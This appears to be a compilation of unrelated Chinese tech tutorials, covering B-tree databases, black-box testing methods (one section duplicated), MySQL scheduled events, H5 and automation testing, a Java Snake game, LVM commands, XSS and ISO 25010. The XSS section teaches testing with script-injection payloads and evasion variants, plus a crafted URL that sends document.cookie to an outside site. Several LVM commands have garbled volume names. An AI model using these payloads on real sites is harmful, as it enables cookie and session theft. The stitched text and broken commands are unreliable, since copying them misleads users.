一、数据以文本形式保存
将所要保存的数据写入文本文件,这个文本文件就是数据库。
为了方便读取,数据必须分为记录,每一条记录的长度规定为等长。
举例:假定每条记录的长度是800字节,那么第5条记录的开始位置就在3200字节。
大多数的时候我们不知道某一条记录在第几个位置,只知道主键的值。这时为了读取数据,可以一条条比对记录。但是这样做的效率太低。实际应用中,数据库往往采用B树格式存储数据。
二、关于B树
要理解B树先需要理解二叉查找树
说二叉查找树是一种查找效率非常高的数据结构,它有三个特点:
(1)每个节点最多只有两个子树。
(2)左子树都为小于父节点的值,右子树都为大于父节点的值。
(3)在n个节点中找到目标值,一般只需要log(n)次比较。
二叉查找树的结构不适合数据库,因为他的查找效率与层数有关。越处在下层的数据,就需要越多次的比较。极端的情况下,n个数据需要n次比较才能找到目标值。对于数据库来说,每进入一层,就要从硬盘读取一次数据,这非常致命,因为硬盘的读取时间远远大于数据处理时间,数据库读取硬盘的次数越少越好。
B树是对二叉查找树的改进。它的设计思想是,将相关数据尽量集中在一起,以便一次读取多个数据,减少硬盘操作次数。
B树的特点:
(1)一个节点可以容纳多个值。
(2)除非数据已经填满,否则不会增加新的层,也就是说,B树追求“层”越少越好。
(3)子节点的值,与父节点中的值有严格的大小对应关系。一般来说,如果父节点有a个值,那么就有a+1个子节点。比如上图中,父节点有两个值(7和16),就应对应三个子节点,第一个子节点都是小于7的值,最后一个子节点都是大于16的值,中间的子节点就是7和16之间的值。
这种数据结构非常有利于减少读取硬盘的次数。假定一个节点可以容纳100个值,那么3层的B树可以容纳100万个数据,如果换成二叉查找树,则需要20层。假定
操作系统一次读取一个节点,并且根节点保留在内存中,那么B树在100万个数据中查找目标值,只需要读取两次硬盘。
三、索引
数据库以B树格式存储,只解决了按照“主键”查找数据的问题。如果想查找其他字段,就需要建立检索(index)。
所谓索引,就是以某个字段为关键字的B树文件,假定一张“雇员表”,包含了员工号(主键)和姓名两个字段,可以对姓名建立索引文件,该文件以B树格式对姓名进行存储,每个姓名后面是其在数据库中的位置(即第几条记录)。查找姓名的时候,先从索引中找到对应的第几条记录,然后再从表格中读取。这种索引查找方法,叫做“索引顺序存取方法”,缩写为ISAM。它已经有多种实现,只要使用这些代码库,就能自己写一个最简单的数据库。
四、高级功能
部署了最基本的数据存取(包括索引)以后,还可以实现一些高级功能。
(1)SQL语言是数据库通用操作语言,所以需要一个SQL解析器,将SQL命令解析为对应的ISAM操作。
(2)数据库连接(join)是指数据库的两张表通过“外键”,建立连接关系。你需要对这种操作进行优化。
(3)数据库事务(transaction)是指批量进行一系列数据库操作,只要有一步不成功,整个操作都不成功。所以需要有一个“操作日志”,以便失败时对操作进行回滚。
(4)备份机制:保存数据库的副本。
(5)远程操作:使得用户可以在不同的机器上,通过TCP/IP协议操作数据库。
软件测试的方法有很多种, 其中
黑盒测试方法被使用最多, 主要的原因是容易上手, 进入门坎不高. 所以很多测试人员会使用这种方法. 可是很多人对于何时该使用却不是很清楚, 因此让我们来做个简单的比较吧
1. ECT (Equivalence Class Testing)
a. 说明: 将受测软件的输入数据, 切成好几个分割(partitions), 对于每个分割, 将会有测试个案去涵盖它
b. 适用时机
比较小的功能, 或是单一 API. 或是画面某个 input control
c. partition 的选择, 是决定你测得好不好的重要关键
d. ECT and BVT 这两种方法最多人使用, 可是不见得是最系统化的方法来开个案.
2. BVT (Boundary Values Testing)
a. 说明: 因为大部分的错误都发生在极值, 所以 BVT 的测试是着重于找出代表性的边界值, 来验证系统的正确性
b. 适用时机
比较小的功能, 或是单一 API. 或是画面某个 input control
c. 这个方法最容易开出测试个案, 因为只要知道输入的值域范围, 马上就可以列出测试个案
3. UCT (User Case Testing)
a. 说明: Use cases 是一种从使用者角度, 来描述系统行为的一种方法. 它由一连串由系统执行的行为所组成, 这些行为可能会对用户产生一些价值. 所以 UCT 是测试 use case 中所有 scenario 的组合.
b. 适用时机
使用者在进行验收测试.
c. 开出来的测试个案对使用者最有意义
4. Pairwise Testing (PT)
a. 说明: 当你有很多测试环境的组合, 例如 3 个 browser, 5 个 OS, 4 个
数据库, 你将会有很多环境组合要测试. PT 会利用每两两组合的方式, 而不是去测试所有的组合, 来降低索要测试的组合量
b. 适用时机
要降低测试的组合可以使用. 不过建议自己先列出最重要, 或是风险最高的组合. 之后再利用 PT 来补不足的之处.
5. STD (State Transition Testing)
a. 说明: 利用一些涵盖条件(涵盖所有 state, event 或是 transition), 展开 state transition diagram 的 scenario, 让我们可以最小集合, 测试大部份的状况
b. 适用时机
设计时间时用来验证是否所有 event 都考虑周密, 或者要对模块做自动化测试适合使用
6. DTT (Decision Table Testing)
a. 说明: 列出程序所思考的逻辑条件, 排列出所有可能情况, 并且确认其所产生的输出或是对应的系统行为是否正确
b. 适用时机
适合复杂的功能, 或者是比较 high level 的功能
c. 开出来的测试个案对使用者还算有意义, 但是对于开发团队, 可以用来厘清需求的范围和正确性
d. 通常在列逻辑条件时, 可以搭配 ECT 来使用, 让你的条件更加丰富.
软件测试的方法有很多种, 其中
黑盒测试方法被使用最多, 主要的原因是容易上手, 进入门坎不高. 所以很多测试人员会使用这种方法. 可是很多人对于何时该使用却不是很清楚, 因此让我们来做个简单的比较吧
1. ECT (Equivalence Class Testing)
a. 说明: 将受测软件的输入数据, 切成好几个分割(partitions), 对于每个分割, 将会有测试个案去涵盖它
b. 适用时机
比较小的功能, 或是单一 API. 或是画面某个 input control
c. partition 的选择, 是决定你测得好不好的重要关键
d. ECT and BVT 这两种方法最多人使用, 可是不见得是最系统化的方法来开个案.
2. BVT (Boundary Values Testing)
a. 说明: 因为大部分的错误都发生在极值, 所以 BVT 的测试是着重于找出代表性的边界值, 来验证系统的正确性
b. 适用时机
比较小的功能, 或是单一 API. 或是画面某个 input control
c. 这个方法最容易开出测试个案, 因为只要知道输入的值域范围, 马上就可以列出测试个案
3. UCT (User Case Testing)
a. 说明: Use cases 是一种从使用者角度, 来描述系统行为的一种方法. 它由一连串由系统执行的行为所组成, 这些行为可能会对用户产生一些价值. 所以 UCT 是测试 use case 中所有 scenario 的组合.
b. 适用时机
使用者在进行验收测试.
c. 开出来的测试个案对使用者最有意义
4. Pairwise Testing (PT)
a. 说明: 当你有很多测试环境的组合, 例如 3 个 browser, 5 个 OS, 4 个
数据库, 你将会有很多环境组合要测试. PT 会利用每两两组合的方式, 而不是去测试所有的组合, 来降低索要测试的组合量
b. 适用时机
要降低测试的组合可以使用. 不过建议自己先列出最重要, 或是风险最高的组合. 之后再利用 PT 来补不足的之处.
5. STD (State Transition Testing)
a. 说明: 利用一些涵盖条件(涵盖所有 state, event 或是 transition), 展开 state transition diagram 的 scenario, 让我们可以最小集合, 测试大部份的状况
b. 适用时机
设计时间时用来验证是否所有 event 都考虑周密, 或者要对模块做自动化测试适合使用
6. DTT (Decision Table Testing)
a. 说明: 列出程序所思考的逻辑条件, 排列出所有可能情况, 并且确认其所产生的输出或是对应的系统行为是否正确
b. 适用时机
适合复杂的功能, 或者是比较 high level 的功能
c. 开出来的测试个案对使用者还算有意义, 但是对于开发团队, 可以用来厘清需求的范围和正确性
d. 通常在列逻辑条件时, 可以搭配 ECT 来使用, 让你的条件更加丰富.
Mysql的event schedule可以让你设置你的mysql数据库在某个时间段执行你想要的动作
create event test1
on schedule every 1 day
starts '2007-09-01 12:00:00'
on completion not preserve
do insert into yyy values('hhh','uuu');
或
on schedule at '2007-09-01 12:00:00' + interval 1 day
on completion not preserve
do insert into yyy values('hhh','uuu')
解释:从2007年9月1日开始,每天对表yyy在12:00:00进行插入操作,并且只执行一次.
使用这个功能之前必须确保event_scheduler已开启,可执行
set global event_scheduler=1;
或
set global event_scheduler=on;
来开启,也可以直接在启动命令上加上--event_scheduler=1.例如:
mysqld...--event_scheduler=1
另外也可以直接在mysql.ini或者mysql.cnf中添加
event_scheduler=1
要查看当前是否已经开启时间调度器,可以执行如下sql:
show variables like 'event-scheduler';
或者
select @@event_scheduler;
或者show processlist;
二,创建时间(create event)
create event [if not exists] event_name on schedule [on completion[not] preserve] [enable|disable] [comment 'comment'] do sql_statement; schedule: at timestamp [+interval interval] |every interval [starts timestamp][ends timestamp] interval: quantity{year|quarter|month|day|hour|minute| week|second|year_month|day_hour|day_minute| day_second|hour_minute|hour_second|minute_second} |
1)首先来看一个简单的例子来演示每秒插入一条记录到数据表:
use test
create table aaa(timeline timestamp);
create event e_test_insert
on schedule every 1 second
do insert into test.aaa values(current_timestamp);
等待三秒,再执行查询看看:
mysql>select * from test.aaa;
就可以看到有三条数据存在
2)5天后清空aaa表:
create event e_test
on schedule at current_timestamp+interval 5 day
do truncate table test.aaa;
3)2007年7月20日12点整清空aaa表:
create event e_test
on schedule at timestamp '2007-07-20 12:00:00'
do truncate table test.aaa;
4)每天定时清空aaa表:---执行之后,是指每天当前创建时间执行该event
create event e_test
on schedule every 1 day
do truncate table test.aaa;
5)5天后开启每天定时清空aaa表:
create event e_test
on schedule every 1 day
starts current_timestamp +interval 5 day
do truncate table test.aaa;
6)每天定时清空aaa表,5天后停止执行:
create event e_test
on schedule every 1 day
ends current_timestamp + interval 5 day
do truncate table test.aaa;
7)5天后开启每天定时清空aaa表,一个月后停止执行
create event e_test
on schedule every 1 day
starts current_timestamp + interval 5 day
ends current_timestamp + interval 1 month
do truncate table test.aaa;
三,修改事件(alter event)
alter event event_name
[on schedule schedule]
[rename to new_event_name]
[on completion [not] preserve]
[comment 'comment']
[enable|disable]
[do sql_statement]
1)临时关闭事件
alter event e_test disable
2)开启事件
alter event e_test enable
3)将每天清空aaa表修改成每5天清空一次
alter event e_test
on schedule every 5 day;
四,删除事件(drop event)
语法很简单,如下所示:
drop event [if exists] event_name
例如删除前面创建的e_test事件
drop event e_test
当前前提是这个事件存在,否则会产生error 1513(HY000):unknown event错误,因此最好加上if exists
drop event if exists e_test
另外当在my.ini或者my.cnf中添加了event_scheduler=1参数,那么在mysql启动之后,存在的event还是会继续运行.
其实经过几次H5页面
测试之后,发现存在很多共同的问题,所以在此对H5页面的测试点(以及容易出问题的点),做一个总结,给开发同学自测,以及准备入手H5测试的同学一个参考。
1、业务逻辑相关
除基本的
功能测试之外,H5页面的测试,需要关注以下几点:
1.1 登陆
目前H5与native各个客户端都做了互通,所以大家在测试的时候要注意两点:
A、若客户端已登录,那么进入H5后仍然是登录状态。
B、若客户端未登录,进入H5,点击对应按钮OR链接,如果需要登录,须拉起native登录。若取消登录,是否可再次拉起登录,或者停留在的页面是否有对应的登录提示。
ps:本次测试过程中就发现,第一次点击链接,可以拉起登录,第二次却不能。
1.2 翻页
遇到翻页加载的页面,需要注意内容为1页或者多页的情况。
A、数据分页加载时,注意后续页面请求数据的正确。
ps:这个需要注意在快速操作场景中,请求页数是不是依次递增,快速操作(如第一页尚未loading出来的时候仍然继续上拉操作)时是否发出去对应的请求了。
1.3 刷新与返回
A、下拉刷新是否仍然处于当前页面。
B、用户主动点击刷新按钮是否仍然处于当前页面。
C、点击返回与back键,回退页面是否是期望页面
ps:本次测试过程中就发现,mtop接口请求成功,但是data内无数据时,返回到的就是个空白页面,无法正常发送请求。
1.4 mtop接口返回处理
发现这个出现问题的地方有很多,但是只要有意识的去处理,就很容易避免,主要是以下几种情况:
A、请求成功,且返回有数据,测试mtop接口返回数据的各种场景。
B、请求成功,但data内容为空。
C、请求接口异常,出现ERR_SID_INVALID::SESSION过期,拉起登录。
D、请求接口发生除C中提到的异常之外的异常,通常可归结为一类进行处理。
2、H5适配相关
H5的适配其实比客户端的相对来说,要少一些,
手机品牌之间的差异不大,所以不用太多关注,最容易出现问题的是android2.3系统,这个要特别关注下:
A、大屏(如720*1280,重点关注页面背景是否完全撑开页面,刷新是否有抖动)、小屏手机(如320*480,重点关注下弹框样式和文案折行)
B、android2.3、android4.X随机找一个即可。
C、ios5、ios6、ios7。
3、安全相关
3.1 明确投放渠道都有哪些
如独客、主客、wap,是否对未投放渠道做了限制,直接通过url请求是否拦截等
3.2 评估是否需要接入集团安全,如mtee黑白名单等。
3.3 是否需要接入支付宝实名认证
涉及到金钱相关,如天猫积分,红包等,为了防刷,一般都需要判断是否支付宝实名认证。
3.4 是否接入windvane,所有请求通过native发出。
4、体验相关
4.1 资源相关
A、页面中有图片的话,淘宝那边建议图片一般不大于50kb,本着一个原则,尽量缩小图片。
B、资源是否压缩、是否通过CDN加载。
C、如何保证二次发布后有效更新。
4.2 流量
A、对于一些不会变化的图片,如游戏动画效果相关图片,不需要每次都请求的东西,做本地缓存。
B、数据较多时是否做了分页加载。
4.3 页面展现时间
A、关注页面首屏加载时间。
4.4 页面提示
A、弱网络下,数据加载较慢,是否有对应的loading提示。
B、接口获取异常时,提示是否友好。
C、刷新页面或者加载新内容时页面是否有抖动。
4.5 手机操作相关
A、锁屏之后展示页面。
B、回退到后台之后,重新呼出在前台展示。
4.6 弱网络体验
5、埋点数据检查
与BI、前端同学一起确认埋点情况。
自动化测试用例如何设计,对于新手来说也是比较难理解的问题。
不少新手刚刚掌握了写脚本的能力,一上来就拿着
功能测试用例一条一条的转化成自动化用例。在写的过程中,会发现诸多问题,例如,脚本中重复代码很多,一个脚本的执行结果影响到另一个脚本的执行,有些功能用例很难转化成自动化用例等。
站在用户角度设计自动化
在功能测试的时候我们一般会遵循这个原因,但是自动化测试往往可以实现更强大的功能,所以,我们在设计脚本的时候很容易违背这个原则。例如,你要获得的数据是用户不可见的,你要判断用例是否成功的信息也是用户不可见的,或者你要模拟的是用户永远不可能做的操作等。
设计简单傻瓜的用例
自动化脚本本来是很傻瓜的。记得有同学问我,
百度输入有个自动联想功能,就是在用户输入的过程中自动配置热门搜索的关键词,例如,用户输入“自”,会自动联想“自我评价”,“自行车”等。用继续输入“自动”,会自动联想“自动化”,“自动关机”,“自动档”等。他想定位自动联想下拉列表的某个关键词,这个关键词是百度根据用户搜索热度的变化而变化的。
再比例有同学问我,下拉列表功能,我想脚本执行时随机选择某一个选项,那么如何如何去判断随机的结果呢?换句话说,你都不知道你做了什么,怎么去判断做的结果对不对?
所以,我们在设计用例时尽量考虑简单傻瓜的用例,操作步骤简单,预期结果容易判断等。
从简单开始
对于新需要自动化的项目来说,自动化测试的实施是循序渐进的,不要一上来就设计几百条用例,而是逐步的将功能用例转成自动化用例,在转的过程中需要不断的调整测试结构。然后,再增加稳定的
测试用例。然后,再调整测试结构。随着功能的增加你的自动化测试框架也在逐渐稳定,基础测试用例也在增加。一上来就几百条用例,需求的稍微变化,用例就可能大调整,那么你很可能每天疲惫于用例的维护。
所以,在开始自动化的时候,你可以只对登录功能写个十来条的自动化用例。从而,渐渐的考虑将更多功能自动化起来。
半自动化对于测试人员是个不错的开始,这样你可以将更多的精力花在
安全测试,探索性测试,甚至是用例体验上等。不要觉得全职自动化就是多么高大上的职位。
完全自己写的小程序,主要难点在控制蛇身的运动上,已经较好的解决,不完善的地方是没有进行画面双缓冲,但刷新频率较低,所以闪烁现象较不明显。
界面如下:
import java.awt.event.*; import java.util.List; import java.util.ArrayList; public class SnakeClient extends Frame { /** * 贪吃蛇主客户端 * 蛇头可动,鸡蛋随机出现 * 0.4蛇身跟随着运动 */ private static final long serialVersionUID = 1L; private static int WIDTH=406,HEIGHT=428; List<Snake> snakes=new ArrayList<Snake>(); List<Egg> eggs=new ArrayList<Egg>(); Snake s=new Snake(3,25,true,0,this); Snake body1=new Snake(3,45,false,1,this); Snake body2=new Snake(3,65,false,2,this); boolean eat=false; Egg e=new Egg(); public static void main(String []args){ SnakeClient sc=new SnakeClient(); sc.launchFrame(); } void launchFrame(){ this.setBounds(100, 100, WIDTH, HEIGHT); this.setVisible(true); this.setResizable(false); this.addWindowListener(new WinCloseMonitor()); // bug2 :忘记加入监听,导致方向不能控制 this.addKeyListener(new KeyMonitor()); new Thread(new MyThread()).start(); snakes.add(s); eggs.add(e); } class WinCloseMonitor extends WindowAdapter{ // bug1 错把windowClosing 写成WindowClosing // 以后重写函数时注意复制或利用Eclipse的重写功能 public void windowClosing(WindowEvent e){ System.exit(0); } } public void paint(Graphics g){ for(int i=0;i<snakes.size();i++){ Snake sn=snakes.get(i); if(s.hitSnake(sn)&&!sn.head){ snakes.removeAll(snakes); return; } sn.draw(g); if(sn.eatEgg(e)) eat=true; } if(eat){ snakes.add(new Snake(snakes.get(snakes.size()-1).oldX,snakes.get(snakes.size()-1).oldY, false,snakes.size(),this)); eat=false; eggs.remove(e); e=new Egg(); eggs.add(e); } e.draw(g); } class MyThread implements Runnable{ @Override public void run() { while(true){ repaint(); try { Thread.sleep(350); } catch (InterruptedException e) { e.printStackTrace(); } } } } class KeyMonitor extends KeyAdapter{ @Override public void keyPressed(KeyEvent e) { s.keyPressed(e); } } } |
import java.awt.*; import java.awt.event.KeyEvent; public class Snake { int x,y,oldX,oldY; int id; private static int WIDTH=20,HEIGHT=20,dx=20,dy=20; static Direction dir=Direction.STOP; boolean head;//判断是否是是蛇头 SnakeClient sc=null; private boolean live; public Snake(int x, int y, boolean head,int id,SnakeClient sc) { this.x = x; this.y = y; this.head = head; this.id=id; this.sc=sc; } void draw(Graphics g){ move(); Color c=g.getColor(); if(head){ g.setColor(Color.red); }else{ g.setColor(Color.green); } g.fillRect(x, y, WIDTH, HEIGHT); g.setColor(Color.black); g.drawRect(x, y, WIDTH, HEIGHT); g.setColor(c); } public void keyPressed(KeyEvent e) { if(!head) return; int key=e.getKeyCode(); switch(key){ case KeyEvent.VK_UP: if(Direction.D==dir) break; dir=Direction.U; break; case KeyEvent.VK_DOWN: if(Direction.U==dir) break; dir=Direction.D; break; case KeyEvent.VK_LEFT: if(Direction.R==dir) break; dir=Direction.L; break; case KeyEvent.VK_RIGHT: if(Direction.L==dir) break; dir=Direction.R; break; case KeyEvent.VK_F2: if(!live){ sc.snakes.add(sc.s); } } } // 从蛇头到蛇尾编号id从0递增,根据id来移动蛇身,具体如下,记录下当前位置oldX,oldY // 当move()时,根据id-1的蛇身改变自己的位置; void move(){ oldX=x; oldY=y; if(!head){ if(dir==Direction.STOP) return; for(int i=0;i<sc.snakes.size();i++){ if(sc.snakes.get(i).id==id-1){ x=sc.snakes.get(i).oldX; y=sc.snakes.get(i).oldY; } } return; } switch(dir){ case U: y-=dy; break; case R: x+=dx; break; case D: y+=dy; break; case L: x-=dx; break; case STOP: break; } //新版贪吃蛇,当到达边界时从另外一边出来 if(x<3) x=383; if(x>383) x=3; if(y<25) y=405; if(y>405) y=25; } public Rectangle getRect(){ return new Rectangle(x,y,WIDTH-1,HEIGHT-1); } boolean eatEgg(Egg e){ if(!head) { return false; } else{ return e.getRect().intersects(this.getRect()); } } boolean hitSnake(Snake s){ if(!head) return false; if(s.getRect().intersects(this.getRect())){ live = false; return true; }else{ return false; } } } [java] view plaincopy import java.awt.*; import java.util.*; public class Egg { private static int WIDTH=20,HEIGHT=20; private static Random r=new Random(); int x=3+20*r.nextInt(20); int y=25+20*r.nextInt(20); void draw(Graphics g){ Color c=g.getColor(); g.setColor(Color.pink); g.fillOval(x, y, WIDTH, HEIGHT); g.setColor(c); } public Rectangle getRect(){ return new Rectangle(x,y,WIDTH,HEIGHT); } } |
public enum Direction { U,R,D,L,STOP; } |
逻辑卷管理通过将底层物理硬盘抽象封装起来,以逻辑卷的形式表现给上层系统,逻辑卷的大小可以动态调整,而且
不会丢失现有数据,新加入到硬盘也不会改变。现有上层的逻辑卷。作为一种动态磁盘管理机制,逻辑卷技术提高了磁盘管理
的灵活性。
PE physical Extend //物理扩展
PV physical volume //物理卷
VG volume group //卷组
LV logical volume //逻辑卷
使用 LVM 的步骤:
a. 物理硬盘格式化为 PV(物理卷),底层空间被分做每个4M大小的PE。
b. 创建 VG(卷组)--空间池的概念。
说明:不同的PV加入同一个VG,不同PV的PE全部进入VG的PE池内。
c. 创建 LV (逻辑卷)。
说明:LV 基于 PE 创建,大小为 PE 的整数倍,组成LV的PE可能来自不同物理磁盘。
d. 格式化 LV,挂载。
说明:LV 的扩充缩减实际上就是增加或减少组成该 LV 的 PE 的数量,其过程不丢失原始数据。创建好VG后,出现
/dev/vgname/lvname 目录。
LVM逻辑卷的创建流程如下:
1.将一个磁盘或分区格式化为物理卷:pvcreate /dev/sdb1 /dev/sdb2
2.将物理卷添加到一个卷组中:vgcreate vgname -vg /dev/sdb1 /dev/sdb2
3.基于卷组创建一个逻辑卷mylv(名字):lvcreate -L 10G -n mylv vgname -vg
4.格式化逻辑卷:mkfs.ext4 /dev/linux -vg/mylv
5.挂载使用:mount /dev/linux -vg/mylv /mnt
逻辑卷查看命令:
pvdisplay (详细)
pvs
vgdisplay
vgs
lvdisplay
lvs
删除一个LVM的操作:
1.删除一个LV(逻辑卷):lvremove /dev/linux -vg/mylv
2.删除一个VG(卷组):vgremove linux -vg
3.删除一个PV(物理卷):pvremove /dev/sda1
逻辑卷的拉伸及缩小。
1)逻辑卷可以实现动态在线拉伸,扩展一个逻辑卷的空间不需要卸载文件系统,拉伸一个逻辑卷的步骤如下:
1.保证卷组中有足够空闲空间:vgdisplay
2.扩充指定逻辑卷空间:lvextend -L +10G /dev/linux -vg/mylv
3.更新文件系统:resize2fs /dev/linux -vg/mylv
4.查看更新后的文件系统:df -h
拉伸一个卷组:
1.将要添加到卷组中的磁盘格式化为物理卷:pvcreate /dev/sdc
2.将磁盘添加到指定卷组中:vgextend linux -vg /dev/sdc
3.查看扩充后大小:vgdisplay
2)逻辑卷可以动态缩小,但是缩小操作必须使逻辑卷离线,也就是卸载,缩小一个逻辑卷步骤如下:
1.卸载该逻辑卷:umount /dev/lnux -lv/mylv
2.缩小文件系统:resize2fs /dev/linux -lv/mylv 10G
3.缩小逻辑卷大小:lvreduce -L -5G /dev/linux -lv/mylv
4.查看缩小后大小:lvdisplay
5.挂载使用:mount /dev/linux -lv/mylv /mnt
缩小一个卷组:
1.将一个磁盘移出一个卷组:vgreduce linux -lv /dev/sdc
2.查看缩小后卷组大小:vgdisplay
跨站脚本简称
XSS(cross sites script),是
web安全里比较重要也比较普遍的一种安全漏洞。跨站脚本是指输入恶意的代码,如果程序没有对输入输出进行验证,则浏览器将会被攻击者控制。可以得到用户cookie、系统、浏览器信息,保存型xss还可以进行钓鱼,以获取更多的用户信息。
<Script>alert(1)</script>
以及它的各种变体
<script>alert(1) </script>实体
%3Cscript%3Ealert(1)%3C/script%3E URL编码
<scr<script>ipt>alert(1)<scr<script>ipt>
<script x=1>alert(1)</script x=1> 还可以这样写
或者<script>confirm(1)</script>
<javascript.:alert(1)>;等
如果提交后,页面弹出警告框,则该页面存在xss漏洞
*反射型xss
通俗来讲,即使输入一段代码,既可以看到代码实际的效果,而非原程序的效果
如:一段代码
<html><body>
<script>
document.write(location.search);</script>//location.search返回url?开始的部分
</body></html>
当输入以下url
"http://127.0.0.1/attrck.html?search=222"
页面将显示:?search=222 ;但url中如果输入
/?search=<Script>alert(1)</script>
则页面的实际代码为:
document.write(?search=)<Script>alert(1)</script>;
将弹出警告框,即代码<Script>alert(1)</script>被执行了,而并非页面原来显示?后字符串的效果
可以使用伪造后的url获取用户cookie
如,在示例1中加入document.cookie=("name=123");,设置cookie,然后构造url如下,实现将localhost域的cookie传递到
百度并进行搜索
http://127.0.0.1/attrck.html?search=<script>window.open("http://www.baidu.com/s?wd="+document.cookie )</script>
因为cookie是禁止跨域访问的,但伪造的url,浏览器会认为是还是localhost的域
*保存型xss
是指将恶意代码保存到服务器,比如发布一篇
文章包含恶意代码,其他用户浏览时将执行恶意脚本
*基于dom的xss
严格来说该xss也属于反射性,本文的例子其实也是dom based,是指修改页面的dom对象模型,从而达成攻击,比如页面使用了document.write\document.writeln\innerhtml等dom方法有可能引起dom based xss
查找xss漏洞一般使用手工输入,需要考虑到输入限制、过滤、长度限制等因素,因此需要设计各种不容的变体输入,以达到测试效果,也可以使用工具,比如burpsuite来获取请求后手工修改请求参数,然后重新提交到浏览器来测试,因为xss并不限于可见的页面输入,还有可能是隐藏表单域、get请求参数等。
像你们大多数人一样,我测试职业生涯的大部分都在使用ISO9126作为软件产品质量的标准。这个众所周知的ISO标准从六个主要特征和许多所谓的子特性(见图1)定义产品质量。该标准一直很受测试人员以及那些参与需求工程和软件开发的人的欢迎。甚至多年来一直是世界上最畅销的ISO标准之一。作为一名测试专业人员,我经常把ISO9126产品质量标准用作产品风险评估期间的(术语)框架,测试策略和测试方法决策。当非功能测试是测试过程的一部分(这种情况很普遍)时,它就特别有用。 讨论事项 ISO9126标准也被用于和/或引用于各种ISTQB教学大纲,ISTQB词汇表和许多其他教科书中。我亲自在此框架下培训了很多测试人员,关于如何使用它,以及如何与利益相关方沟通非功能测试。许多人喜欢它,并在他们的日常实践中使用它,虽然也有一些如下评论: 我怀念易用性! 安全性一定不能是功能的一部分? 熟悉RAMS的人也抱怨可用性没了。 ISO9126的下一代,ISO25010(图3)是若干年前发布的,但到现在为止还不怎么被认可理解。我也一样,一直没用过它。通常我倾向于坚持已被证明有用的事物,不去用新版本,例如一个标准。大多数标准几乎没有附加值。我快速浏览了一下ISO25010,但它并没有吸引我。 图1. ISO 9126质量模型
历史 1977年,McCall提出将质量概念分解为一系列质量因素的想法。这个想法一直被许多其他试图把软件产品质量放入特性集合及(反之与指标和衡量标准相关的)相关子特性的作者遵循。这样,每一个作者就宣传了他们的软件产品分级分层质量模型。国际标准化组织(ISO)和国际电工委员会(IEC)就已遵循了这一概念,并在1991年定义了一系列现被称为ISO 9126的质量特性。该系列反映了软件产业达成共识的一大步,从而确定了软件质量的一般概念。原先1991年的ISO 9126在2001年稍稍更新过一次。 马来西亚SOFTEC 2014年在马来西亚SOFTEC,我遇见了Azuma教授, ISO 9126和ISO 25010的编写者。我听了他的演讲,后来还与他谈过话。就是那时,我开始理解用ISO 25010取代ISO 9126的背景和原因,这算不上代替,而是针对信息通信技术演变背景的替代,如强大的微处理器,更大的内存,更好的显示器,更多的硬盘存储,及提升的通信网络(见图2)。信息通信技术的演变确保新应用系统的开发,反之新应用系统的开发又需要不同品质性状。1991年, 9126最初发布时,还没有谷歌,Facebook,智能手机,云计算,电子商务等。IT领域也就是它的应用,由于信息通信技术演变给组织提供的可能性,在过去20年发生了极大的改变。 图2.信息和通信技术演进
软件质量是核心 随着系统变得越来越复杂和较越来越大,基础软件的质量对企业成功的至关重要。软件系统的关键性能增加了不少。现在的应用程序有别于20年甚至10年前的;他们对产品质量也有不同的需求: 交互式客户软件对可用性和共存性的要求很高 网络和开放系统对安全性和互操作性的要求很高 任务关键性系统对功能的正确性和可靠性要求很高 实践中,ISO 9126仍然是最常用的软件质量特性标准。但是,ISO 25010正逐渐流行起来。 ISO 25010标准,基于能确保新应用系统的开发(而这又需要开发不同的质量特性)的信息通信技术演变,开发来取代ISO 9126,。我现在明白了,在ISO 9126框架需要更新以应对当今世界的信息通信技术及其应用。这不是为了改变而改变。新的软件产品质量标准ISO 25010是可用的,且应尽快成为测试人员和其他软件学科的重要标准。有趣的是9126上提出的问题,如本专栏前面所述,也得到了解决。让我们采用这种新架构,并开始在我们的日常测试实践中使用它。 图3.ISO25010产品质量模型
Erik van Veenendaal是一名国际知名的尖端顾问和培训师,和一名在软件测试和质量管理领域广受认可的专家。他是Improve Quality Services BV的创始人。他保持着欧洲之星的记录,三次获得最佳导师将!2007年,因其对测试专业做出多年贡献,他获得了欧洲测试优秀奖。他作为测试经理和顾问在各个领域工作了20多年。他撰写了多篇论文和多部著作,包括“实用基于风险的测试: Prisma法”和“软件测试ISTQB基础” 。他是TMap测试方法的核心开发人之一及一名国际需求工程局( IREB )的工作小组的参与者。Erik曾是艾恩德霍芬科技大学的一名兼职高级讲师及国际软件测试认证委员会的副会长( 2005-2009 ) ,目前是TMMi基金会的董事会成员。你可以在twitter上通过@ ErikvVeenendaal关注Erik。